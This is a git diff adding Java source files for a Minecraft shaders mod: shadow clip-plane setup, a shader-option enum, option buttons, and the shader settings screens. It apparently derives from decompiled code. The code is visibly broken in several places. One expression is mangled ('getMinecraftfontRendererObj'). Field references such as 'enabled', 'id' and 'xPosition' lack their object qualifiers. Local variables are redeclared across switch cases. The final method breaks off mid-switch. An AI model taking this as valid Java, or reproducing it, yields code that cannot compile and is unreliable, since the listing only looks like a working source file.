+      copyPlane(shadowClipPlanes[(shadowClipPlaneCount++)], frustum[2]);
+      
+      if (test2 > 0.0F)
+      {
+        if (test0 < 0.0F)
+        {
+          makeShadowPlane(shadowClipPlanes[(shadowClipPlaneCount++)], frustum[2], frustum[0], vecSun);
+        }
+        
+        if (test1 < 0.0F)
+        {
+          makeShadowPlane(shadowClipPlanes[(shadowClipPlaneCount++)], frustum[2], frustum[1], vecSun);
+        }
+        
+        if (test4 < 0.0F)
+        {
+          makeShadowPlane(shadowClipPlanes[(shadowClipPlaneCount++)], frustum[2], frustum[4], vecSun);
+        }
+        
+        if (test5 < 0.0F)
+        {
+          makeShadowPlane(shadowClipPlanes[(shadowClipPlaneCount++)], frustum[2], frustum[5], vecSun);
+        }
+      }
+    }
+    
+    if (test3 >= 0.0F)
+    {
+      copyPlane(shadowClipPlanes[(shadowClipPlaneCount++)], frustum[3]);
+      
+      if (test3 > 0.0F)
+      {
+        if (test0 < 0.0F)
+        {
+          makeShadowPlane(shadowClipPlanes[(shadowClipPlaneCount++)], frustum[3], frustum[0], vecSun);
+        }
+        
+        if (test1 < 0.0F)
+        {
+          makeShadowPlane(shadowClipPlanes[(shadowClipPlaneCount++)], frustum[3], frustum[1], vecSun);
+        }
+        
+        if (test4 < 0.0F)
+        {
+          makeShadowPlane(shadowClipPlanes[(shadowClipPlaneCount++)], frustum[3], frustum[4], vecSun);
+        }
+        
+        if (test5 < 0.0F)
+        {
+          makeShadowPlane(shadowClipPlanes[(shadowClipPlaneCount++)], frustum[3], frustum[5], vecSun);
+        }
+      }
+    }
+    
+    if (test4 >= 0.0F)
+    {
+      copyPlane(shadowClipPlanes[(shadowClipPlaneCount++)], frustum[4]);
+      
+      if (test4 > 0.0F)
+      {
+        if (test0 < 0.0F)
+        {
+          makeShadowPlane(shadowClipPlanes[(shadowClipPlaneCount++)], frustum[4], frustum[0], vecSun);
+        }
+        
+        if (test1 < 0.0F)
+        {
+          makeShadowPlane(shadowClipPlanes[(shadowClipPlaneCount++)], frustum[4], frustum[1], vecSun);
+        }
+        
+        if (test2 < 0.0F)
+        {
+          makeShadowPlane(shadowClipPlanes[(shadowClipPlaneCount++)], frustum[4], frustum[2], vecSun);
+        }
+        
+        if (test3 < 0.0F)
+        {
+          makeShadowPlane(shadowClipPlanes[(shadowClipPlaneCount++)], frustum[4], frustum[3], vecSun);
+        }
+      }
+    }
+    
+    if (test5 >= 0.0F)
+    {
+      copyPlane(shadowClipPlanes[(shadowClipPlaneCount++)], frustum[5]);
+      
+      if (test5 > 0.0F)
+      {
+        if (test0 < 0.0F)
+        {
+          makeShadowPlane(shadowClipPlanes[(shadowClipPlaneCount++)], frustum[5], frustum[0], vecSun);
+        }
+        
+        if (test1 < 0.0F)
+        {
+          makeShadowPlane(shadowClipPlanes[(shadowClipPlaneCount++)], frustum[5], frustum[1], vecSun);
+        }
+        
+        if (test2 < 0.0F)
+        {
+          makeShadowPlane(shadowClipPlanes[(shadowClipPlaneCount++)], frustum[5], frustum[2], vecSun);
+        }
+        
+        if (test3 < 0.0F)
+        {
+          makeShadowPlane(shadowClipPlanes[(shadowClipPlaneCount++)], frustum[5], frustum[3], vecSun);
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/shadersmod/client/DefaultTexture.java b/src/minecraft/shadersmod/client/DefaultTexture.java
new file mode 100644
index 0000000..e125632
--- /dev/null
+++ b/src/minecraft/shadersmod/client/DefaultTexture.java
@@ -0,0 +1,18 @@
+package shadersmod.client;
+
+import net.minecraft.client.renderer.texture.AbstractTexture;
+import net.minecraft.client.resources.IResourceManager;
+
+public class DefaultTexture extends AbstractTexture
+{
+  public DefaultTexture()
+  {
+    loadTexture(null);
+  }
+  
+  public void loadTexture(IResourceManager resourcemanager)
+  {
+    int[] aint = ShadersTex.createAIntImage(1, -1);
+    ShadersTex.setupTexture(getMultiTexID(), aint, 1, 1, false, false);
+  }
+}
diff --git a/src/minecraft/shadersmod/client/EnumShaderOption.java b/src/minecraft/shadersmod/client/EnumShaderOption.java
new file mode 100644
index 0000000..35a45a3
--- /dev/null
+++ b/src/minecraft/shadersmod/client/EnumShaderOption.java
@@ -0,0 +1,49 @@
+package shadersmod.client;
+
+public enum EnumShaderOption
+{
+  ANTIALIASING("ANTIALIASING", 0, "of.options.shaders.ANTIALIASING", "antialiasingLevel", "0"), 
+  NORMAL_MAP("NORMAL_MAP", 1, "of.options.shaders.NORMAL_MAP", "normalMapEnabled", "true"), 
+  SPECULAR_MAP("SPECULAR_MAP", 2, "of.options.shaders.SPECULAR_MAP", "specularMapEnabled", "true"), 
+  RENDER_RES_MUL("RENDER_RES_MUL", 3, "of.options.shaders.RENDER_RES_MUL", "renderResMul", "1.0"), 
+  SHADOW_RES_MUL("SHADOW_RES_MUL", 4, "of.options.shaders.SHADOW_RES_MUL", "shadowResMul", "1.0"), 
+  HAND_DEPTH_MUL("HAND_DEPTH_MUL", 5, "of.options.shaders.HAND_DEPTH_MUL", "handDepthMul", "0.125"), 
+  CLOUD_SHADOW("CLOUD_SHADOW", 6, "of.options.shaders.CLOUD_SHADOW", "cloudShadow", "true"), 
+  OLD_LIGHTING("OLD_LIGHTING", 7, "of.options.shaders.OLD_LIGHTING", "oldLighting", "default"), 
+  SHADER_PACK("SHADER_PACK", 8, "of.options.shaders.SHADER_PACK", "shaderPack", ""), 
+  TWEAK_BLOCK_DAMAGE("TWEAK_BLOCK_DAMAGE", 9, "of.options.shaders.TWEAK_BLOCK_DAMAGE", "tweakBlockDamage", "false"), 
+  SHADOW_CLIP_FRUSTRUM("SHADOW_CLIP_FRUSTRUM", 10, "of.options.shaders.SHADOW_CLIP_FRUSTRUM", "shadowClipFrustrum", "true"), 
+  TEX_MIN_FIL_B("TEX_MIN_FIL_B", 11, "of.options.shaders.TEX_MIN_FIL_B", "TexMinFilB", "0"), 
+  TEX_MIN_FIL_N("TEX_MIN_FIL_N", 12, "of.options.shaders.TEX_MIN_FIL_N", "TexMinFilN", "0"), 
+  TEX_MIN_FIL_S("TEX_MIN_FIL_S", 13, "of.options.shaders.TEX_MIN_FIL_S", "TexMinFilS", "0"), 
+  TEX_MAG_FIL_B("TEX_MAG_FIL_B", 14, "of.options.shaders.TEX_MAG_FIL_B", "TexMagFilB", "0"), 
+  TEX_MAG_FIL_N("TEX_MAG_FIL_N", 15, "of.options.shaders.TEX_MAG_FIL_N", "TexMagFilN", "0"), 
+  TEX_MAG_FIL_S("TEX_MAG_FIL_S", 16, "of.options.shaders.TEX_MAG_FIL_S", "TexMagFilS", "0");
+  private String resourceKey = null;
+  private String propertyKey = null;
+  private String valueDefault = null;
+  
+  private static final EnumShaderOption[] $VALUES = { ANTIALIASING, NORMAL_MAP, SPECULAR_MAP, RENDER_RES_MUL, SHADOW_RES_MUL, HAND_DEPTH_MUL, CLOUD_SHADOW, OLD_LIGHTING, SHADER_PACK, TWEAK_BLOCK_DAMAGE, SHADOW_CLIP_FRUSTRUM, TEX_MIN_FIL_B, TEX_MIN_FIL_N, TEX_MIN_FIL_S, TEX_MAG_FIL_B, TEX_MAG_FIL_N, TEX_MAG_FIL_S };
+  
+  private EnumShaderOption(String var1, int var2, String resourceKey, String propertyKey, String valueDefault)
+  {
+    this.resourceKey = resourceKey;
+    this.propertyKey = propertyKey;
+    this.valueDefault = valueDefault;
+  }
+  
+  public String getResourceKey()
+  {
+    return resourceKey;
+  }
+  
+  public String getPropertyKey()
+  {
+    return propertyKey;
+  }
+  
+  public String getValueDefault()
+  {
+    return valueDefault;
+  }
+}
diff --git a/src/minecraft/shadersmod/client/GuiButtonEnumShaderOption.java b/src/minecraft/shadersmod/client/GuiButtonEnumShaderOption.java
new file mode 100644
index 0000000..c305d6c
--- /dev/null
+++ b/src/minecraft/shadersmod/client/GuiButtonEnumShaderOption.java
@@ -0,0 +1,163 @@
+package shadersmod.client;
+
+import net.minecraft.client.gui.GuiButton;
+import net.minecraft.client.resources.I18n;
+
+public class GuiButtonEnumShaderOption extends GuiButton
+{
+  private EnumShaderOption enumShaderOption = null;
+  
+  public GuiButtonEnumShaderOption(EnumShaderOption enumShaderOption, int x, int y, int widthIn, int heightIn)
+  {
+    super(enumShaderOption.ordinal(), x, y, widthIn, heightIn, getButtonText(enumShaderOption));
+    this.enumShaderOption = enumShaderOption;
+  }
+  
+  public EnumShaderOption getEnumShaderOption()
+  {
+    return enumShaderOption;
+  }
+  
+  private static String getButtonText(EnumShaderOption eso)
+  {
+    String nameText = I18n.format(eso.getResourceKey(), new Object[0]) + ": ";
+    
+    switch (NamelessClass895471824.$SwitchMap$shadersmod$client$EnumShaderOption[eso.ordinal()])
+    {
+    case 1: 
+      return nameText + GuiShaders.toStringAa(Shaders.configAntialiasingLevel);
+    
+    case 2: 
+      return nameText + GuiShaders.toStringOnOff(Shaders.configNormalMap);
+    
+    case 3: 
+      return nameText + GuiShaders.toStringOnOff(Shaders.configSpecularMap);
+    
+    case 4: 
+      return nameText + GuiShaders.toStringQuality(Shaders.configRenderResMul);
+    
+    case 5: 
+      return nameText + GuiShaders.toStringQuality(Shaders.configShadowResMul);
+    
+    case 6: 
+      return nameText + GuiShaders.toStringHandDepth(Shaders.configHandDepthMul);
+    
+    case 7: 
+      return nameText + GuiShaders.toStringOnOff(Shaders.configCloudShadow);
+    
+    case 8: 
+      return nameText + Shaders.configOldLighting.getUserValue();
+    
+    case 9: 
+      return nameText + GuiShaders.toStringOnOff(Shaders.configShadowClipFrustrum);
+    
+    case 10: 
+      return nameText + GuiShaders.toStringOnOff(Shaders.configTweakBlockDamage);
+    }
+    
+    return nameText + Shaders.getEnumShaderOption(eso);
+  }
+  
+
+  public void updateButtonText()
+  {
+    displayString = getButtonText(enumShaderOption);
+  }
+  
+  static class NamelessClass895471824
+  {
+    static final int[] $SwitchMap$shadersmod$client$EnumShaderOption = new int[EnumShaderOption.values().length];
+    
+    static
+    {
+      try
+      {
+        $SwitchMap$shadersmod$client$EnumShaderOption[EnumShaderOption.ANTIALIASING.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$shadersmod$client$EnumShaderOption[EnumShaderOption.NORMAL_MAP.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$shadersmod$client$EnumShaderOption[EnumShaderOption.SPECULAR_MAP.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$shadersmod$client$EnumShaderOption[EnumShaderOption.RENDER_RES_MUL.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$shadersmod$client$EnumShaderOption[EnumShaderOption.SHADOW_RES_MUL.ordinal()] = 5;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError5) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$shadersmod$client$EnumShaderOption[EnumShaderOption.HAND_DEPTH_MUL.ordinal()] = 6;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError6) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$shadersmod$client$EnumShaderOption[EnumShaderOption.CLOUD_SHADOW.ordinal()] = 7;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError7) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$shadersmod$client$EnumShaderOption[EnumShaderOption.OLD_LIGHTING.ordinal()] = 8;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError8) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$shadersmod$client$EnumShaderOption[EnumShaderOption.SHADOW_CLIP_FRUSTRUM.ordinal()] = 9;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError9) {}
+      
+
+
+
+      try
+      {
+        $SwitchMap$shadersmod$client$EnumShaderOption[EnumShaderOption.TWEAK_BLOCK_DAMAGE.ordinal()] = 10;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError10) {}
+    }
+    
+    NamelessClass895471824() {}
+  }
+}
diff --git a/src/minecraft/shadersmod/client/GuiButtonShaderOption.java b/src/minecraft/shadersmod/client/GuiButtonShaderOption.java
new file mode 100644
index 0000000..92a3265
--- /dev/null
+++ b/src/minecraft/shadersmod/client/GuiButtonShaderOption.java
@@ -0,0 +1,19 @@
+package shadersmod.client;
+
+import net.minecraft.client.gui.GuiButton;
+
+public class GuiButtonShaderOption extends GuiButton
+{
+  private ShaderOption shaderOption = null;
+  
+  public GuiButtonShaderOption(int buttonId, int x, int y, int widthIn, int heightIn, ShaderOption shaderOption, String text)
+  {
+    super(buttonId, x, y, widthIn, heightIn, text);
+    this.shaderOption = shaderOption;
+  }
+  
+  public ShaderOption getShaderOption()
+  {
+    return shaderOption;
+  }
+}
diff --git a/src/minecraft/shadersmod/client/GuiShaderOptions.java b/src/minecraft/shadersmod/client/GuiShaderOptions.java
new file mode 100644
index 0000000..0b88823
--- /dev/null
+++ b/src/minecraft/shadersmod/client/GuiShaderOptions.java
@@ -0,0 +1,426 @@
+package shadersmod.client;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.client.gui.GuiButton;
+import net.minecraft.client.gui.GuiScreen;
+import net.minecraft.client.gui.GuiVideoSettings;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.client.settings.GameSettings;
+import optifine.Config;
+import optifine.Lang;
+import optifine.StrUtils;
+
+public class GuiShaderOptions extends GuiScreen
+{
+  private GuiScreen prevScreen;
+  protected String title;
+  private GameSettings settings;
+  private int lastMouseX;
+  private int lastMouseY;
+  private long mouseStillTime;
+  private String screenName;
+  private String screenText;
+  private boolean changed;
+  public static final String OPTION_PROFILE = "<profile>";
+  public static final String OPTION_EMPTY = "<empty>";
+  public static final String OPTION_REST = "*";
+  
+  public GuiShaderOptions(GuiScreen guiscreen, GameSettings gamesettings)
+  {
+    lastMouseX = 0;
+    lastMouseY = 0;
+    mouseStillTime = 0L;
+    screenName = null;
+    screenText = null;
+    changed = false;
+    title = "Shader Options";
+    prevScreen = guiscreen;
+    settings = gamesettings;
+  }
+  
+  public GuiShaderOptions(GuiScreen guiscreen, GameSettings gamesettings, String screenName)
+  {
+    this(guiscreen, gamesettings);
+    this.screenName = screenName;
+    
+    if (screenName != null)
+    {
+      screenText = Shaders.translate("screen." + screenName, screenName);
+    }
+  }
+  
+
+
+
+  public void initGui()
+  {
+    title = I18n.format("of.options.shaderOptionsTitle", new Object[0]);
+    byte baseId = 100;
+    boolean baseX = false;
+    byte baseY = 30;
+    byte stepY = 20;
+    int btnX = width - 130;
+    byte btnWidth = 120;
+    byte btnHeight = 20;
+    int columns = 2;
+    ShaderOption[] ops = Shaders.getShaderPackOptions(screenName);
+    
+    if (ops != null)
+    {
+      if (ops.length > 18)
+      {
+        columns = ops.length / 9 + 1;
+      }
+      
+      for (int i = 0; i < ops.length; i++)
+      {
+        ShaderOption so = ops[i];
+        
+        if ((so != null) && (so.isVisible()))
+        {
+          int col = i % columns;
+          int row = i / columns;
+          int colWidth = Math.min(width / columns, 200);
+          int var21 = (width - colWidth * columns) / 2;
+          int x = col * colWidth + 5 + var21;
+          int y = baseY + row * stepY;
+          int w = colWidth - 10;
+          String text = getButtonText(so, w);
+          GuiButtonShaderOption btn = new GuiButtonShaderOption(baseId + i, x, y, w, btnHeight, so, text);
+          enabled = so.isEnabled();
+          buttonList.add(btn);
+        }
+      }
+    }
+    
+    buttonList.add(new GuiButton(201, width / 2 - btnWidth - 20, height / 6 + 168 + 11, btnWidth, btnHeight, I18n.format("controls.reset", new Object[0])));
+    buttonList.add(new GuiButton(200, width / 2 + 20, height / 6 + 168 + 11, btnWidth, btnHeight, I18n.format("gui.done", new Object[0])));
+  }
+  
+  private String getButtonText(ShaderOption so, int btnWidth)
+  {
+    String labelName = so.getNameText();
+    
+    if ((so instanceof ShaderOptionScreen))
+    {
+      ShaderOptionScreen fr1 = (ShaderOptionScreen)so;
+      return labelName + "...";
+    }
+    
+
+    FontRenderer fr = getMinecraftfontRendererObj;
+    
+    for (int lenSuffix = fr.getStringWidth(": " + Lang.getOff()) + 5; (fr.getStringWidth(labelName) + lenSuffix >= btnWidth) && (labelName.length() > 0); labelName = labelName.substring(0, labelName.length() - 1)) {}
+    
+
+
+
+    String col = so.isChanged() ? so.getValueColor(so.getValue()) : "";
+    String labelValue = so.getValueText(so.getValue());
+    return labelName + ": " + col + labelValue;
+  }
+  
+
+  protected void actionPerformed(GuiButton guibutton)
+  {
+    if (enabled)
+    {
+      if ((id < 200) && ((guibutton instanceof GuiButtonShaderOption)))
+      {
+        GuiButtonShaderOption opts = (GuiButtonShaderOption)guibutton;
+        ShaderOption i = opts.getShaderOption();
+        
+        if ((i instanceof ShaderOptionScreen))
+        {
+          String var8 = i.getName();
+          GuiShaderOptions scr = new GuiShaderOptions(this, settings, var8);
+          mc.displayGuiScreen(scr);
+          return;
+        }
+        
+        i.nextValue();
+        updateAllButtons();
+        changed = true;
+      }
+      
+      if (id == 201)
+      {
+        ShaderOption[] var6 = Shaders.getChangedOptions(Shaders.getShaderPackOptions());
+        
+        for (int var7 = 0; var7 < var6.length; var7++)
+        {
+          ShaderOption opt = var6[var7];
+          opt.resetValue();
+          changed = true;
+        }
+        
+        updateAllButtons();
+      }
+      
+      if (id == 200)
+      {
+        if (changed)
+        {
+          Shaders.saveShaderPackOptions();
+          Shaders.uninit();
+        }
+        
+        mc.displayGuiScreen(prevScreen);
+      }
+    }
+  }
+  
+
+
+  protected void mouseClicked(int mouseX, int mouseY, int mouseButton)
+    throws java.io.IOException
+  {
+    super.mouseClicked(mouseX, mouseY, mouseButton);
+    
+    if (mouseButton == 1)
+    {
+      GuiButton btn = getSelectedButton(mouseX, mouseY);
+      
+      if ((btn instanceof GuiButtonShaderOption))
+      {
+        GuiButtonShaderOption btnSo = (GuiButtonShaderOption)btn;
+        ShaderOption so = btnSo.getShaderOption();
+        
+        if (so.isChanged())
+        {
+          btnSo.playPressSound(mc.getSoundHandler());
+          so.resetValue();
+          changed = true;
+          updateAllButtons();
+        }
+      }
+    }
+  }
+  
+  private void updateAllButtons()
+  {
+    Iterator it = buttonList.iterator();
+    
+    while (it.hasNext())
+    {
+      GuiButton btn = (GuiButton)it.next();
+      
+      if ((btn instanceof GuiButtonShaderOption))
+      {
+        GuiButtonShaderOption gbso = (GuiButtonShaderOption)btn;
+        ShaderOption opt = gbso.getShaderOption();
+        
+        if ((opt instanceof ShaderOptionProfile))
+        {
+          ShaderOptionProfile optProf = (ShaderOptionProfile)opt;
+          optProf.updateProfile();
+        }
+        
+        displayString = getButtonText(opt, gbso.getButtonWidth());
+      }
+    }
+  }
+  
+
+
+
+  public void drawScreen(int x, int y, float f)
+  {
+    drawDefaultBackground();
+    
+    if (screenText != null)
+    {
+      drawCenteredString(fontRendererObj, screenText, width / 2, 15, 16777215);
+    }
+    else
+    {
+      drawCenteredString(fontRendererObj, title, width / 2, 15, 16777215);
+    }
+    
+    super.drawScreen(x, y, f);
+    
+    if ((Math.abs(x - lastMouseX) <= 5) && (Math.abs(y - lastMouseY) <= 5))
+    {
+      drawTooltips(x, y, buttonList);
+    }
+    else
+    {
+      lastMouseX = x;
+      lastMouseY = y;
+      mouseStillTime = System.currentTimeMillis();
+    }
+  }
+  
+  private void drawTooltips(int x, int y, List buttonList)
+  {
+    short activateDelay = 700;
+    
+    if (System.currentTimeMillis() >= mouseStillTime + activateDelay)
+    {
+      int x1 = width / 2 - 150;
+      int y1 = height / 6 - 7;
+      
+      if (y <= y1 + 98)
+      {
+        y1 += 105;
+      }
+      
+      int x2 = x1 + 150 + 150;
+      int y2 = y1 + 84 + 10;
+      GuiButton btn = getSelectedButton(x, y);
+      
+      if ((btn instanceof GuiButtonShaderOption))
+      {
+        GuiButtonShaderOption btnSo = (GuiButtonShaderOption)btn;
+        ShaderOption so = btnSo.getShaderOption();
+        String[] lines = makeTooltipLines(so, x2 - x1);
+        
+        if (lines == null)
+        {
+          return;
+        }
+        
+        drawGradientRect(x1, y1, x2, y2, -536870912, -536870912);
+        
+        for (int i = 0; i < lines.length; i++)
+        {
+          String line = lines[i];
+          int col = 14540253;
+          
+          if (line.endsWith("!"))
+          {
+            col = 16719904;
+          }
+          
+          fontRendererObj.drawStringWithShadow(line, x1 + 5, y1 + 5 + i * 11, col);
+        }
+      }
+    }
+  }
+  
+  private String[] makeTooltipLines(ShaderOption so, int width)
+  {
+    if ((so instanceof ShaderOptionProfile))
+    {
+      return null;
+    }
+    
+
+    String name = so.getNameText();
+    String desc = Config.normalize(so.getDescriptionText()).trim();
+    String[] descs = splitDescription(desc);
+    String id = null;
+    
+    if (!name.equals(so.getName()))
+    {
+      id = Lang.get("of.general.id") + ": " + so.getName();
+    }
+    
+    String source = null;
+    
+    if (so.getPaths() != null)
+    {
+      source = Lang.get("of.general.from") + ": " + Config.arrayToString(so.getPaths());
+    }
+    
+    String def = null;
+    
+    if (so.getValueDefault() != null)
+    {
+      String list = so.isEnabled() ? so.getValueText(so.getValueDefault()) : Lang.get("of.general.ambiguous");
+      def = Lang.getDefault() + ": " + list;
+    }
+    
+    ArrayList list1 = new ArrayList();
+    list1.add(name);
+    list1.addAll(Arrays.asList(descs));
+    
+    if (id != null)
+    {
+      list1.add(id);
+    }
+    
+    if (source != null)
+    {
+      list1.add(source);
+    }
+    
+    if (def != null)
+    {
+      list1.add(def);
+    }
+    
+    String[] lines = makeTooltipLines(width, list1);
+    return lines;
+  }
+  
+
+  private String[] splitDescription(String desc)
+  {
+    if (desc.length() <= 0)
+    {
+      return new String[0];
+    }
+    
+
+    desc = StrUtils.removePrefix(desc, "//");
+    String[] descs = desc.split("\\. ");
+    
+    for (int i = 0; i < descs.length; i++)
+    {
+      descs[i] = ("- " + descs[i].trim());
+      descs[i] = StrUtils.removeSuffix(descs[i], ".");
+    }
+    
+    return descs;
+  }
+  
+
+  private String[] makeTooltipLines(int width, List<String> args)
+  {
+    FontRenderer fr = getMinecraftfontRendererObj;
+    ArrayList list = new ArrayList();
+    
+    for (int lines = 0; lines < args.size(); lines++)
+    {
+      String arg = (String)args.get(lines);
+      
+      if ((arg != null) && (arg.length() > 0))
+      {
+        List parts = fr.listFormattedStringToWidth(arg, width);
+        Iterator it = parts.iterator();
+        
+        while (it.hasNext())
+        {
+          String part = (String)it.next();
+          list.add(part);
+        }
+      }
+    }
+    
+    String[] var10 = (String[])list.toArray(new String[list.size()]);
+    return var10;
+  }
+  
+  private GuiButton getSelectedButton(int x, int y)
+  {
+    for (int i = 0; i < buttonList.size(); i++)
+    {
+      GuiButton btn = (GuiButton)buttonList.get(i);
+      int btnWidth = GuiVideoSettings.getButtonWidth(btn);
+      int btnHeight = GuiVideoSettings.getButtonHeight(btn);
+      
+      if ((x >= xPosition) && (y >= yPosition) && (x < xPosition + btnWidth) && (y < yPosition + btnHeight))
+      {
+        return btn;
+      }
+    }
+    
+    return null;
+  }
+}
diff --git a/src/minecraft/shadersmod/client/GuiShaders.java b/src/minecraft/shadersmod/client/GuiShaders.java
new file mode 100644
index 0000000..eff7669
--- /dev/null
+++ b/src/minecraft/shadersmod/client/GuiShaders.java
@@ -0,0 +1,556 @@
+package shadersmod.client;
+
+import java.io.File;
+import java.io.IOException;
+import java.lang.reflect.Method;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.GuiButton;
+import net.minecraft.client.gui.GuiScreen;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.client.settings.GameSettings;
+import optifine.Config;
+import optifine.Lang;
+import org.lwjgl.Sys;
+
+public class GuiShaders extends GuiScreen
+{
+  protected GuiScreen parentGui;
+  protected String screenTitle = "Shaders";
+  private int updateTimer = -1;
+  private GuiSlotShaders shaderList;
+  private static float[] QUALITY_MULTIPLIERS = { 0.5F, 0.70710677F, 1.0F, 1.4142135F, 2.0F };
+  private static String[] QUALITY_MULTIPLIER_NAMES = { "0.5x", "0.7x", "1x", "1.5x", "2x" };
+  private static float[] HAND_DEPTH_VALUES = { 0.0625F, 0.125F, 0.25F };
+  private static String[] HAND_DEPTH_NAMES = { "0.5x", "1x", "2x" };
+  public static final int EnumOS_UNKNOWN = 0;
+  public static final int EnumOS_WINDOWS = 1;
+  public static final int EnumOS_OSX = 2;
+  public static final int EnumOS_SOLARIS = 3;
+  public static final int EnumOS_LINUX = 4;
+  
+  public GuiShaders(GuiScreen par1GuiScreen, GameSettings par2GameSettings)
+  {
+    parentGui = par1GuiScreen;
+  }
+  
+
+
+
+  public void initGui()
+  {
+    screenTitle = I18n.format("of.options.shadersTitle", new Object[0]);
+    
+    if (Shaders.shadersConfig == null)
+    {
+      Shaders.loadConfig();
+    }
+    
+    byte btnWidth = 120;
+    byte btnHeight = 20;
+    int btnX = width - btnWidth - 10;
+    byte baseY = 30;
+    byte stepY = 20;
+    int shaderListWidth = width - btnWidth - 20;
+    shaderList = new GuiSlotShaders(this, shaderListWidth, height, baseY, height - 50, 16);
+    shaderList.registerScrollButtons(7, 8);
+    buttonList.add(new GuiButtonEnumShaderOption(EnumShaderOption.ANTIALIASING, btnX, 0 * stepY + baseY, btnWidth, btnHeight));
+    buttonList.add(new GuiButtonEnumShaderOption(EnumShaderOption.NORMAL_MAP, btnX, 1 * stepY + baseY, btnWidth, btnHeight));
+    buttonList.add(new GuiButtonEnumShaderOption(EnumShaderOption.SPECULAR_MAP, btnX, 2 * stepY + baseY, btnWidth, btnHeight));
+    buttonList.add(new GuiButtonEnumShaderOption(EnumShaderOption.RENDER_RES_MUL, btnX, 3 * stepY + baseY, btnWidth, btnHeight));
+    buttonList.add(new GuiButtonEnumShaderOption(EnumShaderOption.SHADOW_RES_MUL, btnX, 4 * stepY + baseY, btnWidth, btnHeight));
+    buttonList.add(new GuiButtonEnumShaderOption(EnumShaderOption.HAND_DEPTH_MUL, btnX, 5 * stepY + baseY, btnWidth, btnHeight));
+    buttonList.add(new GuiButtonEnumShaderOption(EnumShaderOption.OLD_LIGHTING, btnX, 6 * stepY + baseY, btnWidth, btnHeight));
+    int btnFolderWidth = Math.min(150, shaderListWidth / 2 - 10);
+    buttonList.add(new GuiButton(201, shaderListWidth / 4 - btnFolderWidth / 2, height - 25, btnFolderWidth, btnHeight, Lang.get("of.options.shaders.shadersFolder")));
+    buttonList.add(new GuiButton(202, shaderListWidth / 4 * 3 - btnFolderWidth / 2, height - 25, btnFolderWidth, btnHeight, I18n.format("gui.done", new Object[0])));
+    buttonList.add(new GuiButton(203, btnX, height - 25, btnWidth, btnHeight, Lang.get("of.options.shaders.shaderOptions")));
+    updateButtons();
+  }
+  
+  public void updateButtons()
+  {
+    boolean shaderActive = Config.isShaders();
+    Iterator it = buttonList.iterator();
+    
+    while (it.hasNext())
+    {
+      GuiButton button = (GuiButton)it.next();
+      
+      if ((id != 201) && (id != 202) && (id != EnumShaderOption.ANTIALIASING.ordinal()))
+      {
+        enabled = shaderActive;
+      }
+    }
+  }
+  
+
+
+  public void handleMouseInput()
+    throws IOException
+  {
+    super.handleMouseInput();
+    shaderList.func_178039_p();
+  }
+  
+  protected void actionPerformed(GuiButton button)
+  {
+    if (enabled)
+    {
+      if ((button instanceof GuiButtonEnumShaderOption))
+      {
+        GuiButtonEnumShaderOption var12 = (GuiButtonEnumShaderOption)button;
+        
+
+
+
+
+        switch (NamelessClass1647571870.$SwitchMap$shadersmod$client$EnumShaderOption[var12.getEnumShaderOption().ordinal()])
+        {
+        case 1: 
+          Shaders.nextAntialiasingLevel();
+          Shaders.uninit();
+          break;
+        
+        case 2: 
+          Shaders.configNormalMap = !Shaders.configNormalMap;
+          mc.func_175603_A();
+          break;
+        
+        case 3: 
+          Shaders.configSpecularMap = !Shaders.configSpecularMap;
+          mc.func_175603_A();
+          break;
+        
+        case 4: 
+          float var13 = Shaders.configRenderResMul;
+          float[] var15 = QUALITY_MULTIPLIERS;
+          String[] names = QUALITY_MULTIPLIER_NAMES;
+          int index = getValueIndex(var13, var15);
+          
+          if (isShiftKeyDown())
+          {
+            index--;
+            
+            if (index < 0)
+            {
+              index = var15.length - 1;
+            }
+          }
+          else
+          {
+            index++;
+            
+            if (index >= var15.length)
+            {
+              index = 0;
+            }
+          }
+          
+          Shaders.configRenderResMul = var15[index];
+          Shaders.scheduleResize();
+          break;
+        
+        case 5: 
+          float var13 = Shaders.configShadowResMul;
+          float[] var15 = QUALITY_MULTIPLIERS;
+          String[] names = QUALITY_MULTIPLIER_NAMES;
+          int index = getValueIndex(var13, var15);
+          
+          if (isShiftKeyDown())
+          {
+            index--;
+            
+            if (index < 0)
+            {
+              index = var15.length - 1;
+            }
+          }
+          else
+          {
+            index++;
+            
+            if (index >= var15.length)
+            {
+              index = 0;
+            }
+          }
+          
+          Shaders.configShadowResMul = var15[index];
+          Shaders.scheduleResizeShadow();
+          break;
+        
+        case 6: 
+          float var13 = Shaders.configHandDepthMul;
+          float[] var15 = HAND_DEPTH_VALUES;
+          String[] names = HAND_DEPTH_NAMES;
+          int index = getValueIndex(var13, var15);
+          
+          if (isShiftKeyDown())
+          {
+            index--;
+            
+            if (index < 0)
+            {
+              index = var15.length - 1;
+            }
+          }
+          else
+          {
+            index++;
+            
+            if (index >= var15.length)
+            {
+              index = 0;
+            }
+          }
+          
+          Shaders.configHandDepthMul = var15[index];
+          break;
+        
+        case 7: 
+          Shaders.configCloudShadow = !Shaders.configCloudShadow;
+          break;
+        
+        case 8: 
+          Shaders.configOldLighting.nextValue();
+          Shaders.updateBlockLightLevel();
